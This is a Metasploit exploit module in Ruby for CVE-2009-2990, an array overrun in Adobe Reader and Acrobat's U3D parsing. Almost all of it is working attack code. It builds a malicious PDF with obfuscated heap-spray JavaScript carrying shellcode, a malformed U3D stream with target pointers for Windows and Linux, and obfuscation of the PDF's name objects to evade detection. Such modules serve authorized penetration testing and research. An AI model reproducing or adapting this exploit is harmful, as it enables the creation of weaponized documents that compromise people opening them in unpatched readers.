Adobe U3D CLODProgressiveMeshDeclaration Array Overrun



##

# $Id: adobe_u3d_meshcont.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
            'Description'    => %q{
                    This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
                Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
                specially crafted pdf that a contains malformed U3D data, an attacker may
                be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
                    'jduck'
                ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2009-2990' ],
                    [ 'OSVDB', '58920' ],
                    [ 'BID', '36665' ],
                    [ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
                    [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                    'DisableNops'     => true
                },
            'Targets'        =>
                [
                    # test results (on Windows XP SP3)
                    # reader 7.0.5 - untested
                    # reader 7.0.8 - untested
                    # reader 7.0.9 - untested
                    # reader 7.1.0 - untested
                    # reader 7.1.1 - untested
                    # reader 8.0.0 - untested
                    # reader 8.1.2 - works
                    # reader 8.1.3 - works
                    # reader 8.1.4 - untested
                    # reader 8.1.5 - untested
                    # reader 8.1.6 - untested
                    # reader 9.0.0 - untested
                    # reader 9.1.0 - works
                    [ 'Adobe Reader Windows Universal (JS Heap Spray)',
                        {
                            'Index'        => 0x01d10000,
                            'Platform'    => 'win',
                            'Arch'        => ARCH_X86,
                            'escA'        => 0x0f0f0f0f,
                            'escB'        => 0x16161616,
                            'escC'        => 0x1c1c1c1c
                        }
                    ],

                    # untested
                    [ 'Adobe Reader Linux Universal (JS Heap Spray)',
                        {
                            'Index'        => 0xfffffe3c,
                            'Platform'    => 'linux',
                            'Arch'        => ARCH_X86,
                            'escA'        => 0x75797959,
                            'escB'        => 0xa2a2a2a2,
                            'escC'        => 0x9c9c9c9c
                        }
                    ]
                ],
            'DisclosureDate' => 'Oct 13 2009',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
            ], self.class)

    end



    def exploit
        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Make some nops
        nops    = Rex::Text.to_unescape(make_nops(4))

        # prepare the pointers!
        ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
        ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
        ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))

        script = <<-EOF
var nopz = unescape("#{nops}");
function mkSlice(stringy,size,rest){
    while (stringy.length <= size/2)
        stringy += stringy;
    stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
    return stringy;
};

function spray(escA,escB,escC,escShellcode){
    var loop1;
    var pointersA = unescape(escA);
    var pointersB = unescape(escB);
    var pointersC = unescape(escC);
    var shellcode = unescape(escShellcode);

    pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
    pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
    pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
    nop_slide = mkSlice(nopz,0x100000, shellcode.length);
    var xarr = new Array();
    for (loop1 = 0; loop1 < 400; loop1++) {
        if(loop1<100)
            xarr[loop1] = pointersA_slide+pointersA;
        else if(loop1<200)
            xarr[loop1] = pointersB_slide+pointersB;
        else if(loop1<300)
            xarr[loop1] = pointersC_slide+pointersC;
        else
            xarr[loop1] = nop_slide+shellcode;
        }
        return xarr;
    };
    var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
    this.pageNum = 1;
EOF

        # Obfuscate it up a bit
        script = obfuscate_js(script,
            'Symbols' => {
                'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
                'Methods' => %W{ mkSlice spray }
            }).to_s

        # create the u3d stuff
        u3d = make_u3d_stream(target['Index'], "E" * 11)

        # Create the pdf
        pdf = make_pdf(script, u3d)

        print_status("Creating '#{datastore['FILENAME']}' file...")

        file_create(pdf)
    end


    def obfuscate_js(javascript, opts)
        js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
        js.obfuscate
        return js
    end


    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end

    def ioDef(id)
        "%d 0 obj\n" % id
    end

    def ioRef(id)
        "%d 0 R" % id
    end

    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)

        result = ""
        str.scan(/./u) do |c|
            if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end

    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end


    def u3d_pad(str, char="\x00")
        ret = ""
        if (str.length % 4) > 0
            ret << char * (4 - (str.length % 4))
        end
        return ret
    end


    def make_u3d_stream(index, meshname)

        # build the U3D header (length will be patched in later)
        hdr_data = [1,0].pack('n*') # version info
        hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
        hdr = "U3D\x00"
        hdr << [hdr_data.length,0].pack('VV')
        hdr << hdr_data

        # mesh declaration
        decl_data = [meshname.length].pack('v')
        decl_data << meshname
        decl_data << [0].pack('V') # chain idx
        # max mesh desc
        decl_data << [0].pack('V') # mesh attrs
        decl_data << [0xc322].pack('V') # face count
        decl_data << [0x6226].pack('V') # position count
        decl_data << [0x24966].pack('V') # normal count
        decl_data << [0].pack('V') # diffuse color count
        decl_data << [0].pack('V') # specular color count
        decl_data << [0].pack('V') # texture coord count
        decl_data << [1].pack('V') # shading count
        # shading desc
        decl_data << [0].pack('V') # shading attr
        decl_data << [1].pack('V') # texture layer count
        decl_data << [0].pack('V') # texture coord dimensions
        decl_data << [0].pack('V') # original shading id
        # minimum resolution
        decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
        # quality factors
        decl_data << [0x12c].pack('V') # position quality factor
        decl_data << [0x12c].pack('V') # normal quality factor
        decl_data << [0x12c].pack('V') # texture coord quality factor
        # inverse quantiziation
        decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
        decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
        decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
        decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
        decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
        # resource params
        decl_data << [0x3f666666].pack('V') # normal crease param
        decl_data << [0x3f000000].pack('V') # normal update param
        decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
        # skeleton description
        decl_data << [0].pack('V') # bone count
        # padding
        mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
        mesh_decl << decl_data
        mesh_decl << u3d_pad(decl_data)

        # build the modifier chain
        chain_data = [meshname.length].pack('v')
        chain_data << meshname
        chain_data << [1].pack('V') # type (model resource)
        chain_data << [0].pack('V') # attributes (no bounding info)
        chain_data << u3d_pad(chain_data)
        chain_data << [1].pack('V') # number of modifiers
        chain_data << mesh_decl
        modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
        modifier_chain << chain_data

        # mesh continuation
        cont_data = [meshname.length].pack('v')
        cont_data << meshname
        cont_data << [0].pack('V') # chain idx
        cont_data << [0].pack('V') # start resolution
        cont_data << [0x1000].pack('V') # end resolution
        # 4096 continuation blocks
        cont_data << [index].pack('V') # split position index
        cont_data << [0].pack('v') # new diffuse color count
        cont_data << [0].pack('v') # new specular color count
        cont_data << [0].pack('v') # new text coord count
        cont_data << [0].pack('V') # new face count
        # unknown data
        cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
        cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
        cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
        cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
        cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
        cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
        cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
        cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
        cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
        cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
        cont_data << "\xe9\x10\x9d\x6b\x06\x00"
        cont_data << "\x50" # pad
        mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
        mesh_cont << cont_data
        #mesh_cont << u3d_pad(cont_data)
        mesh_cont << "\xa2\x00" # manual padding

        data = hdr
        data << modifier_chain
        data << mesh_cont

        # patch the length
        data[24,4] = [0x2b680].pack('V') # hardcode the data length

        if index == 0x01d10000
            #laziest hack ever! Another index must be found for using the following
            # stream in windows.. and a lot of tests shoul be done.
            return data
        end


        # linux version
        # build the U3D header (length will be patched in later)
        hdr_data = [1,0].pack('n*') # version info
        hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
        meta_str1 = "alalala0"
        meta_str2 = "\xa8" * 1024
        hdr_meta = [1].pack('V')
        hdr_meta << [meta_str1.length].pack('v')
        hdr_meta << meta_str1
        hdr_meta << [1].pack('V')
        hdr_meta << [meta_str2.length].pack('V')
        hdr_meta << meta_str2
        hdr = "U3D\x00"
        hdr << [hdr_data.length,hdr_meta.length].pack('VV')
        hdr << hdr_data
        hdr << hdr_meta
        hdr << u3d_pad(hdr_meta)

        # mesh declaration
        decl_data = [meshname.length].pack('v')
        decl_data << meshname
        decl_data << [0].pack('V') # chain idx
        # max mesh desc
        decl_data << [0].pack('V') # mesh attrs
        decl_data << [0xc322].pack('V') # face count
        decl_data << [0x6626].pack('V') # position count
        decl_data << [4].pack('V') # normal count
        decl_data << [0].pack('V') # diffuse color count
        decl_data << [0].pack('V') # specular color count
        decl_data << [0].pack('V') # texture coord count
        decl_data << [1].pack('V') # shading count
        # shading desc
        decl_data << [0].pack('V') # shading attr
        decl_data << [0].pack('V') # texture layer count
        decl_data << [0].pack('V') # original shading id
        # no texture coord dimensions
        decl_data << [0x64].pack('V') # minimum resolution
        decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
        # quality factors
        decl_data << [0x12c].pack('V') # position quality factor
        decl_data << [0x12c].pack('V') # normal quality factor
        decl_data << [0x12c].pack('V') # texture coord quality factor
        # inverse quantiziation
        decl_data << [0].pack('V') # position inverse quant
        decl_data << [0].pack('V') # normal inverse quant
        decl_data << [0].pack('V') # texture coord inverse quant
        decl_data << [0].pack('V') # diffuse color inverse quant
        decl_data << [0].pack('V') # specular color inverse quant
        # resource params
        decl_data << [0].pack('V') # normal crease param
        decl_data << [0].pack('V') # normal update param
        decl_data << [0].pack('V') # normal tolerance param
        # skeleton description
        decl_data << [0].pack('V') # bone count
        # padding
        mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
        mesh_decl << decl_data
        mesh_decl << u3d_pad(decl_data)

        # build the modifier chain
        chain_data = [meshname.length].pack('v')
        chain_data << meshname
        chain_data << [1].pack('V') # type (model resource)
        chain_data << [0].pack('V') # attributes (no bounding info)
        chain_data << u3d_pad(chain_data)
        chain_data << [1].pack('V') # number of modifiers
        chain_data << mesh_decl
        modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
        modifier_chain << chain_data

        # mesh continuation
        cont_data = [meshname.length].pack('v')
        cont_data << meshname
        cont_data << [0].pack('V') # chain idx
        cont_data << [0].pack('V') # start resolution
        cont_data << [0x100].pack('V') # end resolution
        # 256 continuation blocks
        cont_data << [index].pack('V') # split position index
        # unknown data
        cont_data << [1].pack('V') * 10
        cont_data << "Feli" * 20
        mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
        mesh_cont << cont_data
        mesh_cont << u3d_pad(cont_data)

        data = hdr
        data << modifier_chain
        data << mesh_cont

        # patch the length
        data[24,4] = [0x174].pack('V') # hardcode the data length
        return data

    end

    def make_pdf(js, u3d_stream)

        xref = []
        eol = "\x0a"
        obj_end = "" << eol << "endobj" << eol

        # the header
        pdf = "%PDF-1.7" << eol

        # filename/comment
        pdf << "%" << RandomNonASCIIString(4) << eol

        # js stream
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
        pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << obj_end

        # catalog
        xref << pdf.length
        pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
        pdf << nObfu("/Pages ") << ioRef(5)
        pdf << nObfu("/OpenAction ") << ioRef(8)
        pdf << nObfu(">>")
        pdf << obj_end

        # outline
        xref << pdf.length
        pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
        pdf << obj_end

        # kids
        xref << pdf.length
        pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
        pdf << ioRef(9) << " " # empty page
        pdf << ioRef(10) # u3d page
        pdf << nObfu("]>>")
        pdf << obj_end

        # u3d stream
        xref << pdf.length
        pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
        pdf << "stream" << eol
        pdf << u3d_stream << eol
        pdf << "endstream"
        pdf << obj_end

        # u3d annotation object
        xref << pdf.length
        pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
        pdf << "/3D/3DA <</A/PO/DIS/I>>"
        pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
        pdf << obj_end

        # js dict
        xref << pdf.length
        pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end

        # page 0 (empty)
        xref << pdf.length
        pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
        pdf << nObfu(" >>")
        pdf << obj_end

        # page 1 (u3d)
        xref << pdf.length
        pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
        pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
        pdf << nObfu(">>")
        pdf << obj_end

        # xrefs
        xrefPosition = pdf.length
        pdf << "xref" << eol
        pdf << "0 %d" % (xref.length + 1) << eol
        pdf << "0000000000 65535 f" << eol
        xref.each do |index|
            pdf << "%010d 00000 n" % index << eol
        end

        # trailer
        pdf << "trailer" << eol
        pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
        pdf << "startxref" << eol
        pdf << xrefPosition.to_s() << eol
        pdf << "%%EOF" << eol

    end

end